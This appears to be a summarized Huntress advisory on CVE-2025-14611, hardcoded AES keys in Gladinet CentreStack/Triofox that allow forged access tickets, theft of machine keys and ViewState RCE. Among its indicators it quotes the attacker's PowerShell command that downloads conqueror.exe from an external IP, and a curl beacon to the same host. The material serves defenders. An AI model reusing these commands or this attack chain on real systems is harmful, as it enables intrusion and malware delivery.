Gladinet CentreStack/Triofox: Cryptography Vulnerability | Huntress
Huntress reverse-engineered Gladinet CentreStack/Triofox's filesvr.dn HTTP handler and found that its AES-256 "Access Ticket" encryption uses hardcoded, static key/IV strings (Chinese and Japanese marketing text embedded in GladCtrl64.dll) extracted from the SysKeyMgr class, assigned CVE-2025-14611 (CVSS 7.1). Because the keys never change, attackers can forge tickets with arbitrary timestamps to read the server's web.config and steal ASP.NET machine keys, enabling ViewState deserialization RCE; this was chained with a prior auth bypass (CVE-2025-11371) and observed exploited in the wild against at least nine organizations. Later updates report suspected cl0p ransomware group exploitation of CVE-2025-30406 (ViewState deserialization) against internet-facing CentreStack servers, with IOCs including a "conqueror.exe" payload and specific attacker IPs.
What it is
Huntress's living incident tracker for CVE-2025-14611 (CVSS 7.1), an insecure-cryptography flaw in Gladinet CentreStack and Triofox. The value the summary lacks is concrete: the fixed build number, the crypto mechanism at the code level, and hard IOCs from December 15 incidents.
How it works
The filesvr.dn endpoint is a custom HTTP handler defined in web.config, mapped to GladinetStorage.FileDownloadHandler. It reads a query parameter t — an encrypted "Access Ticket" carrying authorization data and the requested file path in one string. On IIS worker startup, SysKeyMgr calls AccessKeyMgr64.GetSysEncKey, which passes the current system time (DateTime.Now.ToString()) to GenerateSecKey in GladCtrl64.dll; the DLL returns two 100-byte strings loaded into memory (SysKeyMgr.SysKey, source of the 32-byte AES key, and SysKey1). Because the key derivation is predictable/hardcoded, an attacker can forge a valid t ticket, read web.config, and chain into ViewState deserialization (CVE-2025-30406) for RCE.
Preconditions / Affected
Internet-facing CentreStack or Triofox servers running a build older than 16.12.10420.56791 (released Nov 29). Gladinet notified customers Nov 30; Huntress is seeing exploitation across its customer base.
What to do
Update to 16.12.10420.56791 or later. Hunt for these observed indicators:
- PowerShell download cradle executed via
w3wp.exe:
Invoke-WebRequest http://185.196.11.207:8000/conqueror.exe -OutFile C:\Users\Public\conqueror.exe- Follow-on beacon check:
curl http://185.196.11.207:8000 - Payload
conqueror.exewritten toC:\Users\Public\, SHA256e9fa82d92d826c6a1c38165fe6bd610d3b80cd5d53ec65ac3fe94393be64b5a5 - Malicious IPs:
185.196.11.207(payload host, now offline) and146.70.134.50(initiated the ViewState/CVE-2025-30406 attack, per Application EVTX Event ID 1316) - Post-exploit:
quser.exe, host enumeration viaconqueror.exe, and listing of the Huntress install directory - The
/storage/filesvr.dn?t=...requests Gladinet supplied as IoCs — but see caveat.
Caveats
- Huntress explicitly cannot confirm the cl0p attribution; it is repeating other firms' reporting given the timing.
- The
conqueror.exesample was gone before analysis; its hash was not on VirusTotal at publication, and the open directory at185.196.11.207:8000is offline. - Huntress flags an "important caveat" about the Gladinet-supplied
filesvr.dnrequest IoCs in its Mitigations section — consult the page before treating those raw request strings as reliable detections.
Organisations named here
- John Hammond
CVEs named here
- CVE-2025-14611
- CVE-2025-11371
- CVE-2025-30406
Technologies named here
- Gladinet CentreStack
- conqueror.exe
- Gladinet Triofox
- GladCtrl64.dll
- Huntress
- Triofox
- IIS
- PowerShell
- .NET
Techniques named here
- Hardcoded cryptographic key exploitation
- Access Ticket forgery
- ViewState deserialization
- PowerShell base64-encoded command execution
- Host enumeration
- Impersonation context abuse
Threat actors named here
- cl0p ransomware group
- Cl0p
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